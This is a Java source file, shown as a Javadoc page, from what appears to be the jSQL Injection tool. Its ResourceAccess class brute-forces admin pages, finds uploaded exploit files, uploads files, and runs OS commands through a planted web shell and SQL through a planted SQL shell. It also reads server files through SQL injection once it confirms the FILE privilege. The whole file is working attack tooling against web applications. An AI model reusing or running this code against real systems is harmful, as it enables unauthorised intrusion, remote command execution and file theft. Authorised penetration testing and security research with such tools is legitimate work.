View Javadoc
1   /*******************************************************************************
2    * Copyhacked (H) 2012-2025.
3    * This program and the accompanying materials
4    * are made available under no term at all, use it like
5    * you want, but share and discuss it
6    * every time possible with every body.
7    * 
8    * Contributors:
9    *      ron190 at ymail dot com - initial implementation
10   ******************************************************************************/
11  package com.jsql.model.accessible;
12  
13  import com.jsql.model.InjectionModel;
14  import com.jsql.model.accessible.vendor.*;
15  import com.jsql.model.bean.database.MockElement;
16  import com.jsql.model.bean.util.Header;
17  import com.jsql.model.bean.util.Interaction;
18  import com.jsql.model.bean.util.Request;
19  import com.jsql.model.exception.JSqlException;
20  import com.jsql.model.suspendable.SuspendableGetRows;
21  import com.jsql.util.ConnectionUtil;
22  import com.jsql.util.LogLevelUtil;
23  import org.apache.commons.lang3.StringUtils;
24  import org.apache.logging.log4j.LogManager;
25  import org.apache.logging.log4j.Logger;
26  
27  import java.io.File;
28  import java.io.IOException;
29  import java.io.InputStream;
30  import java.net.URI;
31  import java.net.URLEncoder;
32  import java.net.http.HttpHeaders;
33  import java.net.http.HttpRequest;
34  import java.net.http.HttpRequest.BodyPublishers;
35  import java.net.http.HttpResponse;
36  import java.net.http.HttpResponse.BodyHandlers;
37  import java.nio.charset.StandardCharsets;
38  import java.nio.file.Files;
39  import java.nio.file.Paths;
40  import java.time.Duration;
41  import java.util.*;
42  import java.util.concurrent.CompletionService;
43  import java.util.concurrent.ExecutionException;
44  import java.util.concurrent.ExecutorCompletionService;
45  import java.util.concurrent.ExecutorService;
46  import java.util.function.BinaryOperator;
47  import java.util.regex.Pattern;
48  
49  /**
50   * Resource access object.
51   * Get information from file system, commands, webpage.
52   */
53  public class ResourceAccess {
54      
55      /**
56       * Log4j logger sent to view.
57       */
58      private static final Logger LOGGER = LogManager.getRootLogger();
59  
60      /**
61       * True if admin page should stop, false otherwise.
62       */
63      private boolean isSearchAdminStopped = false;
64      
65      /**
66       * True if scan list should stop, false otherwise.
67       */
68      private boolean isScanStopped = false;
69  
70      /**
71       * True if ongoing file reading must stop, false otherwise.
72       * If true any new file read is cancelled at start.
73       */
74      private boolean isSearchFileStopped = false;
75  
76      /**
77       * List of ongoing jobs.
78       */
79      private final List<CallableFile> callablesReadFile = new ArrayList<>();
80      private final InjectionModel injectionModel;
81      private final ExploitSqlite exploitSqlite;
82      private final ExploitMysql exploitMysql;
83      private final ExploitOracle exploitOracle;
84      private final ExploitPostgres exploitPostgres;
85      private final ExploitHsqldb exploitHsqldb;
86      private final ExploitH2 exploitH2;
87      private final ExploitDerby exploitDerby;
88  
89      // compatible cross-platform win+linux (spaces around plus sign required)
90      public static final String WEB_CONFIRM_CMD = URLEncoder.encode("expr 133707330 + 10001", StandardCharsets.ISO_8859_1);
91      public static final String WEB_CONFIRM_RESULT = "133717331";
92      public static final String SQL_CONFIRM_CMD = "select 1337";
93      public static final String SQL_CONFIRM_RESULT = "| 1337 |";
94  
95      public static final String SQL_DOT_PHP = "sql.php";
96      public static final String EXPLOIT_DOT_UPL = "exploit.upl";
97      public static final String EXPLOIT_DOT_WEB = "exploit.web";
98      public static final String UPLOAD_SUCCESSFUL = "Upload successful: ack received for {}{}";
99      public static final String UPLOAD_FAILURE = "Upload failure: missing ack for {}{}";
100 
101     public static final String LOID_NOT_FOUND = "Exploit loid not found";
102     public static final String ADD_LOID = "loid#create";
103     public static final String WRITE_LOID = "loid#write";
104     public static final String READ_LOID = "loid#read";
105 
106     public static final String ADD_FUNC = "body#add-func";
107     public static final String RUN_FUNC = "body#run-func";
108     public static final String BODY_CONFIRM = "body#confirm";
109     public static final String UDF_RUN_CMD = "udf#run-cmd";
110 
111     public static final String TBL_CREATE = "tbl#create";
112     public static final String TBL_FILL = "tbl#fill";
113     public static final String TBL_DUMP = "tbl#dump";
114     public static final String TBL_DROP = "tbl#drop";
115     public static final String TBL_READ = "tbl#read";
116 
117     public static final String FILE_READ = "file#read";
118 
119     // TODO should redirect error directly to default output
120     public static final String TEMPLATE_ERROR = "Command failure: %s\nTry '%s 2>&1' to get a system error message.\n";
121 
122     public ResourceAccess(InjectionModel injectionModel) {
123         this.injectionModel = injectionModel;
124         this.exploitSqlite = new ExploitSqlite(injectionModel);
125         this.exploitMysql = new ExploitMysql(injectionModel);
126         this.exploitOracle = new ExploitOracle(injectionModel);
127         this.exploitPostgres = new ExploitPostgres(injectionModel);
128         this.exploitHsqldb = new ExploitHsqldb(injectionModel);
129         this.exploitH2 = new ExploitH2(injectionModel);
130         this.exploitDerby = new ExploitDerby(injectionModel);
131     }
132 
133     /**
134      * Check if every page in the list responds 200 Success.
135      * @param pageNames    List of admin pages to test
136      */
137     public int createAdminPages(String urlInjection, List<String> pageNames) {
138         var matcher = Pattern.compile("^((https?://)?[^/]*)(.*)").matcher(urlInjection);
139         matcher.find();
140         String urlProtocol = matcher.group(1);
141         String urlWithoutProtocol = matcher.group(3);
142 
143         List<String> folderSplits = new ArrayList<>();
144 
145         // Hostname only
146         if (urlWithoutProtocol.isEmpty() || !Pattern.matches("^/.*", urlWithoutProtocol)) {
147             urlWithoutProtocol = "/dummy";
148         }
149         String[] splits = urlWithoutProtocol.split("/", -1);
150         String[] folderNames = Arrays.copyOf(splits, splits.length - 1);
151         for (String folderName: folderNames) {
152             folderSplits.add(folderName +"/");
153         }
154 
155         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetAdminPage");
156         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
157 
158         var urlPart = new StringBuilder();
159         for (String segment: folderSplits) {
160             urlPart.append(segment);
161             for (String pageName: pageNames) {
162                 taskCompletionService.submit(
163                     new CallableHttpHead(
164                         urlProtocol + urlPart + pageName,
165                         this.injectionModel,
166                         "check:page"
167                     )
168                 );
169             }
170         }
171 
172         var nbAdminPagesFound = 0;
173         int submittedTasks = folderSplits.size() * pageNames.size();
174         int tasksHandled;
175         for (
176             tasksHandled = 0
177             ; tasksHandled < submittedTasks && !this.isSearchAdminStopped()
178             ; tasksHandled++
179         ) {
180             nbAdminPagesFound = this.callAdminPage(taskCompletionService, nbAdminPagesFound);
181         }
182 
183         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
184         this.isSearchAdminStopped = false;
185         this.logSearchAdminPage(nbAdminPagesFound, submittedTasks, tasksHandled);
186 
187         return nbAdminPagesFound;
188     }
189 
190     public int callAdminPage(CompletionService<CallableHttpHead> taskCompletionService, int nbAdminPagesFound) {
191         int nbAdminPagesFoundFixed = nbAdminPagesFound;
192         
193         try {
194             CallableHttpHead currentCallable = taskCompletionService.take().get();
195             if (currentCallable.isHttpResponseOk()) {
196                 var request = new Request();
197                 request.setMessage(Interaction.CREATE_ADMIN_PAGE_TAB);
198                 request.setParameters(currentCallable.getUrl());
199                 this.injectionModel.sendToViews(request);
200 
201                 nbAdminPagesFoundFixed++;
202                 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found page: {}", currentCallable.getUrl());
203             }
204         } catch (InterruptedException e) {
205             LOGGER.log(LogLevelUtil.IGNORE, e, e);
206             Thread.currentThread().interrupt();
207         } catch (ExecutionException e) {
208             LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
209         }
210         return nbAdminPagesFoundFixed;
211     }
212 
213     public void logSearchAdminPage(int nbAdminPagesFound, int submittedTasks, int tasksHandled) {
214         var result = String.format(
215             "Searched %s/%s page%s: %s found",
216             tasksHandled,
217             submittedTasks,
218             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
219             nbAdminPagesFound
220         );
221         
222         if (nbAdminPagesFound > 0) {
223             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
224         } else {
225             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
226         }
227     }
228 
229     public String checkUrls(String urlExploit, String nameExploit, BinaryOperator<String> biFuncGetRequest) {
230         String urlExploitFixed = urlExploit;
231         if (!urlExploitFixed.isEmpty()) {
232             urlExploitFixed = urlExploitFixed.replaceAll("/*$", StringUtils.EMPTY) +"/";
233         }
234         String url = urlExploitFixed;
235         if (StringUtils.isEmpty(url)) {
236             url = this.injectionModel.getMediatorUtils().getConnectionUtil().getUrlBase();
237         }
238         String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", StringUtils.EMPTY);
239         String urlProtocol;
240         if ("/".equals(urlWithoutProtocol)) {
241             urlProtocol = url.replaceAll("/+$", StringUtils.EMPTY);
242         } else {
243             urlProtocol = url.replace(urlWithoutProtocol, StringUtils.EMPTY);
244         }
245 
246         List<String> directoryNames = new ArrayList<>();
247         String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", StringUtils.EMPTY).replaceAll("/+", "/");
248         if (urlWithoutFileName.split("/").length == 0) {
249             directoryNames.add("/");
250         }
251         for (String directoryName: urlWithoutFileName.split("/")) {
252             directoryNames.add(directoryName +"/");
253         }
254         String urlSuccess = this.getExploitUrl(nameExploit, directoryNames, urlProtocol);
255         if (urlSuccess != null) {
256             urlSuccess = biFuncGetRequest.apply(nameExploit, urlSuccess);
257         } else {
258             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit access failure: connection URL not found");
259         }
260         return urlSuccess;
261     }
262 
263     private String getExploitUrl(String filename, List<String> directoryNames, String urlProtocol) {
264         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetExploitUrl");
265         CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
266         var urlPart = new StringBuilder();
267 
268         for (String segment: directoryNames) {
269             urlPart.append(segment);
270             taskCompletionService.submit(
271                 new CallableHttpHead(
272                     urlProtocol + urlPart + filename,
273                     this.injectionModel,
274                     "xplt#confirm-url"
275                 )
276             );
277         }
278 
279         String urlSuccess = null;
280         int submittedTasks = directoryNames.size();
281         for (var tasksHandled = 0 ; tasksHandled < submittedTasks ; tasksHandled++) {
282             try {
283                 CallableHttpHead currentCallable = taskCompletionService.take().get();
284                 if (currentCallable.isHttpResponseOk()) {
285                     urlSuccess = currentCallable.getUrl();
286                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit successful: connection done to [{}]", currentCallable.getUrl());
287                     break;
288                 }
289             } catch (InterruptedException e) {
290                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
291                 Thread.currentThread().interrupt();
292             } catch (ExecutionException e) {
293                 LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e);
294             }
295         }
296 
297         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
298         return urlSuccess;
299     }
300 
301     public String callCommand(String urlCommand) {
302         String pageSource;
303         try {
304             pageSource = this.injectionModel.getMediatorUtils().getConnectionUtil().getSource(urlCommand);
305         } catch (Exception e) {
306             pageSource = StringUtils.EMPTY;
307         }
308         
309         var regexSearch = Pattern.compile("(?s)<"+ DataAccess.LEAD +">(.*?)<"+ DataAccess.TRAIL +">").matcher(pageSource);
310         regexSearch.find();
311 
312         String result;
313         // IllegalStateException #1544: catch incorrect execution
314         try {
315             result = regexSearch.group(1);
316         } catch (IllegalStateException e) {
317             result = StringUtils.EMPTY;  // fix return null from regex
318             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", "command"));
319         }
320         return result;
321     }
322     
323     /**
324      * Run a shell command on host.
325      * @param command The command to execute
326      * @param uuidShell An unique identifier for terminal
327      * @param urlExploit Web path of the shell
328      */
329     public String runWebShell(String command, UUID uuidShell, String urlExploit) {
330         String result = this.callCommand(
331             urlExploit +"?c="+ URLEncoder.encode(command, StandardCharsets.ISO_8859_1)
332         );
333         if (StringUtils.isBlank(result)) {
334             result = String.format(ResourceAccess.TEMPLATE_ERROR, "empty result", command);
335         }
336         var request = new Request();  // Unfreeze GUI terminal
337         request.setMessage(Interaction.GET_EXPLOIT_WEB_RESULT);
338         request.setParameters(uuidShell, result);
339         this.injectionModel.sendToViews(request);
340         return result;
341     }
342 
343     /**
344      * Execute SQL request into terminal defined by URL path, eventually override with database user/pass identifiers.
345      * @param command SQL request to execute
346      * @param uuidShell Identifier of terminal sending the request
347      * @param urlExploit URL to send SQL request against
348      * @param username Username [optional]
349      * @param password password [optional]
350      */
351     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password) {
352         return this.runSqlShell(command, uuidShell, urlExploit, username, password, true);
353     }
354 
355     public String runSqlShell(String command, UUID uuidShell, String urlExploit, String username, String password, boolean isResultSentToView) {
356         String result = this.callCommand(String.format(
357              "%s?q=%s&u=%s&p=%s",
358              urlExploit,
359              URLEncoder.encode(command, StandardCharsets.ISO_8859_1),
360              username,
361              password
362         ));
363             
364         if (result.contains("<SQLr>")) {
365             List<List<String>> listRows = this.parse(result);
366             if (listRows.isEmpty()) {
367                 result = "Result not found: check your credentials or review logs in tab Network\n";
368             } else {
369                 List<Integer> listFieldsLength = this.parseColumnLength(listRows);
370                 result = this.convert(listRows, listFieldsLength);
371             }
372         } else if (result.contains("<SQLm>")) {  // todo deprecated
373             result = result.replace("<SQLm>", StringUtils.EMPTY) +"\n";
374         } else if (result.contains("<SQLe>")) {  // todo deprecated
375             result = result.replace("<SQLe>", StringUtils.EMPTY) +"\n";
376         }
377 
378         if (isResultSentToView) {
379             var request = new Request();  // Unfreeze GUI terminal
380             request.setMessage(Interaction.GET_EXPLOIT_SQL_RESULT);
381             request.setParameters(uuidShell, result, command);
382             this.injectionModel.sendToViews(request);
383         }
384         return result;
385     }
386 
387     private String convert(List<List<String>> listRows, List<Integer> listFieldsLength) {
388         var tableText = new StringBuilder("+");
389         for (Integer fieldLength: listFieldsLength) {
390             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
391         }
392         tableText.append("\n");
393         for (List<String> listFields: listRows) {
394             tableText.append("|");
395             var cursorPosition = 0;
396             for (String field: listFields) {
397                 tableText.append(StringUtils.SPACE)
398                     .append(field)
399                     .append(StringUtils.repeat(StringUtils.SPACE, listFieldsLength.get(cursorPosition) - field.length()))
400                     .append(" |");
401                 cursorPosition++;
402             }
403             tableText.append("\n");
404         }
405         tableText.append("+");
406         for (Integer fieldLength: listFieldsLength) {
407             tableText.append("-").append(StringUtils.repeat("-", fieldLength)).append("-+");
408         }
409         tableText.append("\n");
410         return tableText.toString();
411     }
412 
413     private List<Integer> parseColumnLength(List<List<String>> listRows) {
414         List<Integer> listFieldsLength = new ArrayList<>();
415         for (
416             var indexLongestRowSearch = 0;
417             indexLongestRowSearch < listRows.get(0).size();
418             indexLongestRowSearch++
419         ) {
420             int indexLongestRowSearchFinal = indexLongestRowSearch;
421             listRows.sort(
422                 (firstRow, secondRow) -> secondRow.get(indexLongestRowSearchFinal).length() - firstRow.get(indexLongestRowSearchFinal).length()
423             );
424             listFieldsLength.add(listRows.get(0).get(indexLongestRowSearch).length());
425         }
426         return listFieldsLength;
427     }
428 
429     private List<List<String>> parse(String result) {
430         List<List<String>> listRows = new ArrayList<>();
431         var rowsMatcher = Pattern.compile("(?si)<tr>(<td>.*?</td>)</tr>").matcher(result);
432         while (rowsMatcher.find()) {
433             String values = rowsMatcher.group(1);
434             var fieldsMatcher = Pattern.compile("(?si)<td>(.*?)</td>").matcher(values);
435             List<String> listFields = new ArrayList<>();
436             listRows.add(listFields);
437             
438             while (fieldsMatcher.find()) {
439                 String field = fieldsMatcher.group(1);
440                 listFields.add(field);
441             }
442         }
443         return listRows;
444     }
445 
446     public HttpResponse<String> upload(File file, String url, InputStream streamToUpload) throws IOException, JSqlException, InterruptedException {
447         var crLf = "\r\n";
448         var boundary = "---------------------------4664151417711";
449         
450         var streamData = new byte[streamToUpload.available()];
451         if (streamToUpload.read(streamData) == -1) {
452             throw new JSqlException("Error reading the file");
453         }
454         
455         String headerForm = StringUtils.EMPTY;
456         headerForm += "--"+ boundary + crLf;
457         headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\""+ file.getName() +"\""+ crLf;
458         headerForm += "Content-Type: binary/octet-stream"+ crLf;
459         headerForm += crLf;
460 
461         String headerFile = StringUtils.EMPTY;
462         headerFile += crLf +"--"+ boundary +"--"+ crLf;
463 
464         var httpRequest = HttpRequest.newBuilder()
465             .uri(URI.create(url))
466             .timeout(Duration.ofSeconds(15))
467             .POST(BodyPublishers.ofByteArrays(
468                 Arrays.asList(
469                     headerForm.getBytes(StandardCharsets.UTF_8),
470                     Files.readAllBytes(Paths.get(file.toURI())),
471                     headerFile.getBytes(StandardCharsets.UTF_8)
472                 )
473             ))
474             .setHeader("Content-Type", "multipart/form-data; boundary=" + boundary)
475             .build();
476 
477         var response = this.injectionModel.getMediatorUtils().getConnectionUtil().getHttpClient().build().send(httpRequest, BodyHandlers.ofString());
478         HttpHeaders httpHeaders = response.headers();
479         String pageSource = response.body();
480 
481         Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
482         msgHeader.put(Header.URL, url);
483         msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
484         msgHeader.put(Header.RESPONSE, ConnectionUtil.getHeadersMap(httpHeaders));
485         msgHeader.put(Header.SOURCE, pageSource);
486         msgHeader.put(Header.METADATA_PROCESS, "upl#multipart");
487         var request = new Request();
488         request.setMessage(Interaction.MESSAGE_HEADER);
489         request.setParameters(msgHeader);
490         this.injectionModel.sendToViews(request);
491         return response;
492     }
493     
494     /**
495      * Check if current user can read files.
496      * @return True if user can read file, false otherwise
497      * @throws JSqlException when an error occurs during injection
498      */
499     public boolean isMysqlReadDenied() throws JSqlException {
500         var sourcePage = new String[]{ StringUtils.EMPTY };
501         String resultInjection = new SuspendableGetRows(this.injectionModel).run(
502             this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getPrivilege(),
503             sourcePage,
504             false,
505             1,
506             MockElement.MOCK,
507             "privilege"
508         );
509 
510         boolean readingIsAllowed = false;
511 
512         if (StringUtils.isEmpty(resultInjection)) {
513             this.injectionModel.sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
514             var request = new Request();
515             request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
516             this.injectionModel.sendToViews(request);
517         } else if ("false".equals(resultInjection)) {
518             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Privilege FILE not granted: files not readable by current user");
519             var request = new Request();
520             request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
521             this.injectionModel.sendToViews(request);
522         } else {
523             var request = new Request();
524             request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
525             this.injectionModel.sendToViews(request);
526             readingIsAllowed = true;
527         }
528         
529         return !readingIsAllowed;
530     }
531 
532     /**
533      * Attempt to read files in parallel by their path from the website using injection.
534      * Reading file needs a FILE right on the server.
535      * The user can interrupt the process at any time.
536      * @param pathsFiles List of file paths to read
537      * @throws JSqlException when an error occurs during injection
538      * @throws InterruptedException if the current thread was interrupted while waiting
539      * @throws ExecutionException if the computation threw an exception
540      */
541     public List<String> readFile(List<String> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
542         if (
543             this.injectionModel.getMediatorVendor().getVendor() == this.injectionModel.getMediatorVendor().getMysql()
544             && this.isMysqlReadDenied()
545         ) {
546             return Collections.emptyList();
547         }
548 
549         var countFileFound = 0;
550         var results = new ArrayList<String>();
551 
552         ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableReadFile");
553         CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
554 
555         for (String pathFile: pathsFiles) {
556             var callableFile = new CallableFile(pathFile, this.injectionModel);
557             taskCompletionService.submit(callableFile);
558             this.callablesReadFile.add(callableFile);
559         }
560 
561         List<String> duplicate = new ArrayList<>();
562         int submittedTasks = pathsFiles.size();
563         int tasksHandled;
564 
565         for (
566             tasksHandled = 0
567             ; tasksHandled < submittedTasks && !this.isSearchFileStopped
568             ; tasksHandled++
569         ) {
570             var currentCallable = taskCompletionService.take().get();
571             if (StringUtils.isNotEmpty(currentCallable.getSourceFile())) {
572                 var name = currentCallable.getPathFile().substring(
573                     currentCallable.getPathFile().lastIndexOf('/') + 1
574                 );
575                 String content = currentCallable.getSourceFile();
576                 String path = currentCallable.getPathFile();
577 
578                 var request = new Request();
579                 request.setMessage(Interaction.CREATE_FILE_TAB);
580                 request.setParameters(name, content, path);
581                 this.injectionModel.sendToViews(request);
582 
583                 if (!duplicate.contains(path.replace(name, StringUtils.EMPTY))) {
584                     LOGGER.log(
585                         LogLevelUtil.CONSOLE_INFORM,
586                         "Folder exploit candidate: {}",
587                         () -> path.replace(name, StringUtils.EMPTY)
588                     );
589                 }
590 
591                 duplicate.add(path.replace(name, StringUtils.EMPTY));
592                 results.add(content);
593 
594                 countFileFound++;
595             }
596         }
597 
598         // Force ongoing suspendables to stop immediately
599         for (CallableFile callableReadFile: this.callablesReadFile) {
600             callableReadFile.getSuspendableReadFile().stop();
601         }
602         this.callablesReadFile.clear();
603         this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor);
604         this.isSearchFileStopped = false;
605 
606         var result = String.format(
607             "Searched %s/%s file%s: %s found",
608             tasksHandled,
609             submittedTasks,
610             tasksHandled > 1 ? 's' : StringUtils.EMPTY,
611             countFileFound
612         );
613 
614         if (countFileFound > 0) {
615             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, result);
616         } else {
617             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, result);
618         }
619         return results;
620     }
621 
622     public String getResult(String query, String metadata) throws JSqlException {
623         var sourcePage = new String[]{ StringUtils.EMPTY };
624         return new SuspendableGetRows(this.injectionModel).run(
625             query,
626             sourcePage,
627             false,
628             0,
629             MockElement.MOCK,
630             metadata
631         );
632     }
633 
634     public String getResultWithCatch(String query, String metadata) {
635         var sourcePage = new String[]{ StringUtils.EMPTY };
636         try {
637             return new SuspendableGetRows(this.injectionModel).run(
638                 query,
639                 sourcePage,
640                 false,
641                 0,
642                 MockElement.MOCK,
643                 metadata
644             );
645         } catch (JSqlException ignored) {
646             return StringUtils.EMPTY;
647         }
648     }
649 
650     /**
651      * Mark the search of files to stop.
652      * Any ongoing file reading is interrupted and any new file read
653      * is cancelled.
654      */
655     public void stopSearchFile() {
656         this.isSearchFileStopped = true;
657         for (CallableFile callable: this.callablesReadFile) {
658             callable.getSuspendableReadFile().stop();  // force ongoing business to stop immediately
659         }
660     }
661 
662     public void stopSearchAdmin() {
663         this.isSearchAdminStopped = true;
664     }
665 
666 
667     // Getters and setters
668 
669     public ExploitSqlite getExploitSqlite() {
670         return this.exploitSqlite;
671     }
672 
673     public ExploitMysql getExploitMysql() {
674         return this.exploitMysql;
675     }
676 
677     public ExploitOracle getExploitOracle() {
678         return this.exploitOracle;
679     }
680 
681     public ExploitPostgres getExploitPostgres() {
682         return this.exploitPostgres;
683     }
684 
685     public boolean isSearchAdminStopped() {
686         return this.isSearchAdminStopped;
687     }
688     
689     public void setScanStopped(boolean isScanStopped) {
690         this.isScanStopped = isScanStopped;
691     }
692 
693     public boolean isScanStopped() {
694         return this.isScanStopped;
695     }
696 
697     public ExploitHsqldb getExploitHsqldb() {
698         return this.exploitHsqldb;
699     }
700 
701     public ExploitH2 getExploitH2() {
702         return this.exploitH2;
703     }
704 
705     public ExploitDerby getExploitDerby() {
706         return this.exploitDerby;
707     }
708 }